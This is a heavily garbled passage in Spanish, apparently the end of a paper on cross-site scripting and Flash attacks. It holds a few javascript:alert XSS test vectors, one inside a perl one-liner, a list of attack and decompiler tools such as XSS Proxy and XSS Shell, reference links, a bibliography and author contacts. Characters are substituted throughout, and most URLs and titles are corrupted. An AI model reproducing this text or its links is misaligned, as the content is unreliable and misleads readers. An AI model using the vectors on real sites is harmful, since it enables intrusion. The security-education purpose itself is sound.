/Cector [retorno de carro emDeDido[ (?o 5unciona en 0*.%,
<ELT '("=&-avA\x%4;ascript:alert(I/''I);&>
/Cector [null Drea>s up javascript directive[
perl =e Iprint &<ELT '("=-avaU%script:alert(U&/''U&)>&;I > out
F...G
/4ecopilaci1n eBtensa de vectores vNlidos:
https://n=,.cc/p</pa<es/view/,1,%5/

.:Screens-ots :.

.:noCo8/ents :.
:ttp:;;www.americanscientist.or6

.:noCo8/ents :.
:ttp:;;ec.europa.eu;

.:noCo8/ents :.
:ttp:;;d6t.es

.:noCo8/ents :.
:ttp:;;adn.es

.:noCo8/ents :.
:ttp:;;aenor.es

.:noCo8/ents :.
:ttp:;;:a.c>ers.or6
Hen casa del :errero....I

.:9err$/ient$s :.

.:9err$/ient$s :.
G (SC00 / @*7 Converter (online, / D< Centricle.com
http://centricle.com/tools/ascii=hex/
G 7SS C:eat S:eet (online, / D< 4sna>e
http://ha.ckers.or</xss.html
G 8J(S-'s C(A9%%% / D< 8J(S-
http://www.di<ilantesecurit*.com/"8?2%%%/;iles/"8?2%%%.[ip
http://owasp=code=central.<oo<lecode.com/svn/trunk/la)s/cal2%%%/ (cdi<o ;uente)
G Strin6.)rom.C:arCode m Qnescape(, converter (online, m +< Jocares
http://wocares.com/noNuote.php

.:9err$/ient$s :.
G Sot:in> SJ) #ecompiler &.$ (Jindows 9';?2;!%%%;9*;7-;C0S2(,

http://www.<lo)alshareware.com/Lultimedia=4esi<n/8uthorin<=Kools/'othink='B$=4ecompiler.html
G SJ) #ecompiler $.% +uild $%& (9ac8S 7 "%.&."% o anteriores,
http://mac.so;tpedia.com/<et/4eveloper=Kools/'B$=4ecompiler.shtml
G #ecompilador m )lare
http://www.nowrap.de/;lare.html
J Compilador m 92(SC
http://www.mtasc.or</

.:9err$/ient$s :.
G #esensamDlador m )lasm
http://;lasm.source;or<e.net/
G Sw5mill m Convierte Sw5 a 79A < viceversa
http://sw;mill.or</
G 9oKilla -lu6ins m 9odi5< @eaders
https://addons.mo[illa.or</es=9'/;ire;ox/addon/213
G 9oKilla -lu6ins m Coo>ie *dit
https://addons.mo[illa.or</es=9'/;ire;ox/addon/53!

.:9err$/ient$s :.
G 7SS m -roB<
http://source;or<e.net/pro-ects/xss=prox*
G 7SS m 2unnelin6 ; 7SS m S:ell
http://la)s.portcullis.co.uk/download/xssshell=xsstunnell.[ip

.:;in7s :.

Cross/site scriptin6:
http://en.wikipedia.or</wiki/"ross=site+scriptin<\K*pes
http://ha.ckers.or<
http://sla.ckers.or<
)las:! (ttac>:
http://attackvector.lesci<ales.or</test=nouvelle=pa<e=de=<oret/
http://www.owasp.or</index.php/"ate<or*:CB8'>+$lash+'ecurit*+>ro-ect
CS4):
http://www.c<isecurit*.com/csr;=;aN.html
Cross )rame Scriptin6:
http://www.owasp.or</index.php/"ross+$rame+'criptin<



#ns -innin6 (nd JeD -roBies:
http://www.n<sso;tware.com/research/papers/4ns>innin<8ndBe)>roxies.pd;
4outer Eac>in6:
http://www.[hackl.cn/Mtml/?,33%.html
4outer Eac>in6 C:allen6e:
http://www.<nuciti[en.or</)lo</router=hackin<=challen<e/
09(-3 7SS ; 9@29A 7SS ; *Bpect CulneraDilit<:
http://www.ama[on.com//''=8ttacks='criptin<=9xploits=4e;ense/dp/,52362,56!
(ll is in Voo6le:
http://www.<oo<le.com


.:?i0liogr$fG$ :.

/H9alicious @29A 2a6s *mDedded in Client JeD 4e3uestsIM C*42n
/H+<passin6 EavaScript )ilters m t:e )las:! attac>IM *<eonSecurit<M Eune $ !%%!
/H2:e @29A )orm -rotocol (ttac>IM Eoc:en 2op5M (u6ust ' !%%"
/H@8J28: -revent Cross/Site Scriptin6 Securit< 0ssues (]!$!9'$,IM 9icroso5tM
/HQnderstandin6 9alicious Content 9iti6ation 5or JeD #evelopersIM C*42
/HQ4A *ncoded (ttac>sIM 0nternet Securit< S<stemsM Vunter 8llmannM (pril " !%%!
/HCross/site Scriptin6 8verviewIM 9icroso5tM )eDruar< ! !%%%
/H2:e *volution o5 Cross/site Scriptin6 (ttac>sIM i#e5enceM #avid *dlerM 9a< !% !%%!
/ISo5tware Securit<: +uildin6 Securit< 0nIM (ddison/Jesle< -ro5essionalM !%%6
/I8J(S- 2estin6 Vuide !%%'IM C3.%
/I#?S -innin6 and JeD -roBiesIM ?eBt Veneration Securit< So5twareM !%%
/ICross Site Scriptin6 (ttac>s: 7SS *Bploits and #e5enseM S<n6ressM !%%

.:;icenci$ de uso :.
:ttp:;;www.sindominio.net;6u6s;licencias;5dl/es.:tml
V?Q )ree #ocumentation Aicense
Cersion ".!M ?ovemDer !%%!

.:Autor :.

.:Autor :.
JeD ; +lo6s:
/ JeDsite:
/ :ttp:;;www.lordeps<lon.net
/ 9icroDlo66in6:
/ :ttps:;;identi.ca;ps<
/ :ttps:;;twitter.com;lordXeps<lon
/ 7SSer (automated 5ree so5tware 7SS 5ramewor>,:
/ :ttp:;;Bsser.s5.net
</$ils: rootHlordeps2lon.net - (IPI ID: =)CAA#J?)"
eps2lonHriseup.net - (IPI ID: =?!K<LM#?"

9$pp2 &CrossN 9$c7ing 66 O"

You might also like